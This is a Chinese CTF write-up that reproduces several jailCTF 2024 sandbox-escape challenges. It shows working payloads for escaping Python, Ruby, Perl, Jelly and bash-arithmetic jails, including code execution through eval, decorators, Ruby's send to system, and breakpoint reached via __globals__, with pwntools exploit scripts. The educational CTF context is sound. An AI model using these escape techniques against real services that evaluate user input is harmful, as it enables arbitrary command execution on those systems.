jailctf2024 部分题目复现
Arcueid 发表于 浙江 CTF 184浏览 · 2024-11-06 10:14

blind-calc

所有用pwn.red/jail部署的我docker都拉不起来 所以以下所有用到pwn.red/jail的 都是本地直接运行的

题目提供了一个计算器的功能

根据报错可以知道是shell脚本

题目进行数学运算 可以考虑

https://book.jorianwoltjer.com/linux/linux-privilege-escalation/command-exploitation#injecting-commands-in-math

通过a[$(COMMAND)] 这种语法来执行命令

filterd

M = 14  # no malicious code could ever be executed since this limit is so low, right?
def f(code):
    assert len(code) <= M
    assert all(ord(c) < 128 for c in code)
    assert all(q not in code for q in ["exec", 
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
    exec(code, globals())
f(input("> "))

考虑覆盖M解除长度上限

i=input;f(i())
M*=9999;f(i())
print(open('flag.txt').read())

parity-1

#!/usr/local/bin/python3
inp = input("> ")

for i, v in enumerate(inp):
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp)

偶数位上字符ascii必须是偶数 奇数位上必须是奇数

先fuzz那些函数可用 值得注意的是 第一位可以为空格 所以奇数位偶数也行

def fuzz():
    for word in __builtins__.__dir__():
        all_good = True  
        for i, v in enumerate(word):
            if not (ord(v) < 128 and i % 2 == ord(v) % 2):
                all_good = False  
                break 
        if all_good:  
            print(word, end=" ")  
    for word in __builtins__.__dir__():
        all_good = True  
        for i, v in enumerate(word):
            if not (ord(v) < 128 and i % 2 != ord(v) % 2):
                all_good = False  
                break 
        if all_good:  
            print(word, end=" ")  



fuzz()


# bin dir hex len vars None type zip abs any eval globals id iter open exit credits

eval没被禁 那么我们只需要想办法构造一个input()字符串 就能新开一个输入流操作

类似这样

' 和 " 的ascii码分别是奇数和偶数

于是可以构造出

eval   (eval   (' '"i"'n' 'p'"u"'t' '('")") )

首位空格 eval后面跟制表符(\x09)

这里两个eval的原因是 在eval内 字符串才可以这么拼接

不用eval的话就要用+来凭借 手动构造比较累

SUS-Calculator

ruby jail

#!/usr/local/bin/ruby
class Calc
  def self.+ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left + right
  end

  def self.- left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left - right
  end

  def self.* left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left * right
  end

  def self./ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left / right
  end

  def self.% left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left % right
  end
end

STDOUT.sync = true
puts <<~HEADER
  SUS Calculator (Super Ultra Safe Calculator)
  I heard using eval for these calculator apps is bad, so I made sure to avoid it
  Good luck doing anything malicious here >:)

HEADER

loop do
  print "> "
  cmd = gets.chomp.split

  if cmd.size != 3
    puts "Usage: num (+|-|*|/|%) num"
    next
  end

  left, op, right = cmd
  puts Calc.send(op.to_sym, left, right)
end

接收三个参数传到Calc里面

使用了send方法进行动态方法调用 这里可以调用包括不属于Calc的方法 比如system

op.to_sym将字符串转为符号

ls system -al 执行ls -al

no-nonsense

socat -v -s TCP4-LISTEN:9999,tcpwrap=script,reuseaddr,fork EXEC:"python3 main.py",stderr

做个端口转发启个环境

#!/usr/local/bin/python3
from ast import parse, NodeVisitor

inp = input('> ')
if any(c in inp for c in '([=])'):
    print('no.')
    exit()

class NoNonsenseVisitor(NodeVisitor):
    def visit_Name(self, n):
        if n.id in inp:  # surely impossible to get around this since they will be the same between ast.parse and inp, right?
            print('no ' + n.id)
            exit()


NoNonsenseVisitor().visit(parse(inp))

exec(inp)

ban了'([=])' 看起来没法调用函数了 但是可以考虑用装饰器 python会将\r解析为\n 我们可以利用从而保持在input的输入流里使用装饰器

下面通过ast ban了变量或函数名 这块考虑用全角 或者别的unicode字符

from pwn import *

r = remote("192.168.100.105",9999)


payload = '''@eval
@input
class a:pass
'''

r.recvuntil(b"> ")
r.sendline(payload.replace("\n","\r").encode())
r.interactive()

jellyjail

#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval

inp = input()[:2]
banned = "0123456789ỌŒƓVС"

if not all([c not in inp for c in banned]):
    print('stop using banned')
    exit()

jelly_eval(inp, [])

使用了jellylanguage

首先限制了输入长度为2 那么一定是要打开一个新的输入流的

可以使用Ɠƈɠ Ɠ在黑名单 ƈ读一个没用 那么可以使用ɠ 这里如果没禁Ɠ可以直接rce了

全局搜eval 发现Ɠ V v ŒV这四个 ban了三个 只剩下v

于是考虑ɠv打开一个新的输入流 并且执行其中的代码

此时可以用Ɠ直接执行python代码了

get-and-call

#!/usr/local/bin/python3
obj = 0
while True:
    print(f'obj: {obj}')
    print('1. get attribute')
    print('2. call method')
    inp = input("choose > ")
    if inp == '1':
        obj = getattr(obj, input('attr > '), obj)
    if inp == '2':
        obj = obj()

提供了一个获取属性的方法 一个调用方法的方法

比如可以这样

<class 'int'>.__dir__()

懂得都懂了

<class 'int'>.__class__.__base__.__subclasses__()

到这一步就比较烦了 不能传参 也就是拿不到os._wrap_close

可以拿到的就第一个类和最后一个类

第一个是type 最后一个是_distutils_hack.shim

__entry__存在__globals__

但是这里我们只能调用无参的方法 考虑breakpoint

通过popitem 一个个移除

from pwn import *
from subprocess import check_output

r = remote("192.168.100.105",9999)


r.recvuntil(b"choose > ")

def ga(attr: str):
    r.sendline(b'1')
    r.sendline(attr.encode())


def call():
    r.sendline(b'2')


for i in range(16):
    ga('__class__')
    ga('__base__')
    ga('__subclasses__')
    call()  # object.__subclasses__()

    # get the last item of the list
    ga('__reversed__')
    call()
    ga('__next__')
    call()  # object.__subclasses__()[-1] => _distutils_hack.shim

    # use https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py#L220 to see which methods give builtins
    ga('__enter__')
    # _distutils_hack.shim.__enter__.__globals__ => _distutils_hack.__dict__
    ga('__globals__')
    if i < 15:
        ga('popitem')  # pop key:value pairs until the last value is <module 'sys'>
        call()
        continue

    ga('values')
    call()
    ga('__reversed__')
    call()
    ga('__next__')
    call()

    ga('breakpointhook')  # sys.breakpointhook() is equivalent to breakpoint
    call()

r.interactive()

minieval-1

#!/usr/local/bin/perl
select(STDOUT); $| = 1;

{
    print("> ");
    my $input = <STDIN>;
    chomp($input);
    if (length($input) > 5 or $input =~ /[\pL'"<>\\]/) {
        print("Bye!");
        exit(1)
    }

    $_ = eval($input);
    redo
}

perljail

限制输入长度<=5 并且存在黑名单

\pL不能输入uniocde字母 执行后的值没有回显

想办法构造出字符串 sh 就行 通过反引号执行

也就是需要构造出,7

通过.进行字符串拼接

调试输出

sub print_hex {
    my $value = shift;
    foreach my $char (split //, $value) {
        printf "0x%02X ", ord($char);
    }
    print "\n";
} 

print("Value of \$_: ");
print_hex($_);

print("Value of \$;: ");
print_hex($;);

也就是要构造出0x2c 0x37

我们可用的字符有0x30-0x39(0-9) 0x5f(_) 可以用 &^|位运算来操作

我们看看官方的payload

5 .0
$;=$_
_0
$;&$_
$;=$_
_^_
$_.=1
$;^$_
$;=$_
9 .6
$;^$_
$;=$_
$;^__
`$_`

通过ord('9') ^ ord('5') & ord('_') 构造出 , 0x01 ^ ord('6') 构造出7

最终必须^__来触发 否则不识别为字符串 因为我的思路构造不出来

我的思路如下 最终希望构造出

0x39 0x37

0x15 0x00

5 .5
$_&_
$;=$_
_^_
$;.$_
$;=$_ # 构造出0x15 0x00
9 .7  # 构造出0x39 0x37
$_^$; # 期望是0x2C 0x37 实际啥也没有

拿到shell后无回显 反弹shell

mathjail

#!/usr/local/bin/python3

from secrets import randbits
from typing import Callable, Iterator, Tuple


class MathJailError(Exception):
    pass


class MathJail:
    title: str
    description: str

    def __init__(self, max_size: int):
        self.max_size = max_size

    def run(self, code: str) -> bool:
        func = self.validate(code)
        for input, output in self.gen_test_cases():
            user_output = func(input)
            if not isinstance(user_output, int) or user_output != output:
                return False
        return True

    def gen_test_cases(self) -> Iterator[Tuple[int, int]]:
        raise NotImplementedError

    def validate(self, code: str) -> Callable[[int], int]:
        if len(code) > self.max_size:
            raise MathJailError(f'Code is too large ({len(code)} > {self.max_size})')

        for c in code:
            if c not in 'n+-*/%()':
                raise MathJailError(f'Illegal character: {c!r}')

        try:
            func = eval(f'lambda n: {code}', {}, {})
        except Exception:
            raise MathJailError(f'Could not compile expression')
        return func

    def __repr__(self):
        return self.description


class IncrementJail(MathJail):
    title = 'Add++'
    description = 'Write an expression that takes a positive integer n, and returns n + 1 (e.g.\n' \
                  'n = 12 should yield 13).\n'

    def gen_test_cases(self):
        for n in range(1, 100):
            output = n + 1
            yield (n, output)

class OnesJail(MathJail):
    title = 'Only 1s'
    description = 'Write an expression that takes a positive integer n, and returns an integer\n' \
                  'with n successive ones (e.g. n = 7 should yield 1111111).\n'

    def gen_test_cases(self):
        for n in range(1, 100):
            output = int('1' * n)
            yield (n, output)


class PrimeJail(MathJail):
    title = 'Prime Time'
    description = 'Write an expression that takes a positive integer n, and returns 1 if n is\n' \
                  'prime, 0 otherwise (e.g. n = 37 should yield 1, but n = 35 should yield 0).\n'

    def gen_test_cases(self):
        for n in range(1, 500):
            output = n >= 2 and all(n % d != 0 for d in range(2, n))
            yield (n, output)


class FibonacciJail(MathJail):
    title = 'Fibonacci'
    description = 'Write an expression that takes a positive integer n, and returns the nth\n' \
                  'Fibonacci number (e.g. n = 1 should yield 0 and n = 7 should yield 8).\n'

    def gen_test_cases(self):
        a, b = 0, 1
        for n in range(1, 100):
            yield (n, a)
            a, b = b, a + b

JAIL_LEVELS = [
    IncrementJail(6),
    OnesJail(50),
    PrimeJail(100),
    FibonacciJail(40),
]

if __name__ == '__main__':
    print('Welcome to the MathJail! Prove to me that you are a true math intellectual, and I will\n'
          'let you go. You may only use the most primitive tools (+, -, *, /, %) to aid in your\n'
          'escape. The only limit is your imagination. Enjoy your stay.\n')

    for i, jail in enumerate(JAIL_LEVELS):
        print(f'Level {i+1}: {jail.title}')
        print('-' * 30)
        print(jail)

        code = input(f'Enter your expression ({jail.max_size} characters max): ')

        try:
            result = jail.run(code)
        except Exception as e:
            print(e)
            exit(1)

        if not result:
            print('You have failed.')
            exit(1)

        if i == len(JAIL_LEVELS) - 1:
            with open('flag.txt', 'r') as f:
                print(f"Noooooo, you have beaten me. OK, here's your reward: {f.read()}")
        else:
            print('Good job! You move on to the next level.\n')

一共四关 构造表达式符合题意即可

不能使用数字且有长度限制

首先是满足 f(n+1) = n+1

n + n//n即可

level2要求输出长度为输入的1 也就是

$$\sum_{i=1}^{n} 10^{n-1}$$

等比数列求和 那么用n表示一下就行

(((n+n+n+n+n+n+n+n+n+n)//n)**n-n//n)//((n+n+n+n+n+n+n+n+n)//n)

但是长度超了 我们需要优化一下

(((n+n+n+n+n+n+n+n+n+n)//n)**n-1)//((n+n+n)*(n+n+n)//n//n)
(((n+n)*(n+n+n+n+n)//n//n)**n-1)//((n+n+n)*(n+n+n)//n//n)
((n+n)*(n+n+n+n+n)//n//n)**n*n*n//(n+n+n)//(n+n+n)

level3要求写出一个素数的判别式

discord上说是费马素性检验

没给过程 不知道怎么搞出来的

(n%n)**((n+n+n)//n%((((n+n)//n)**n-n//n)%n*((((n+n+n)//n)**n%n-(n+n)//n)%n)+(n+n)//n))

level4 discord上说是斐波那契生成函数

https://archive.lib.msu.edu/crcmath/math/math/f/f043.htm

$G(x) = \sum_{n=0}^{\infty} F(n) x^n = \frac{1}{1 - x - x^2}$

同样不知道怎么搞出来的

n**(n*n)//(n**(n+n)-n**n-n//n)%n**n
(n**n//n)**n%((n*n)**n-n**n-n//n)//n**n

这俩都行

0 条评论
某人
表情
可输入 255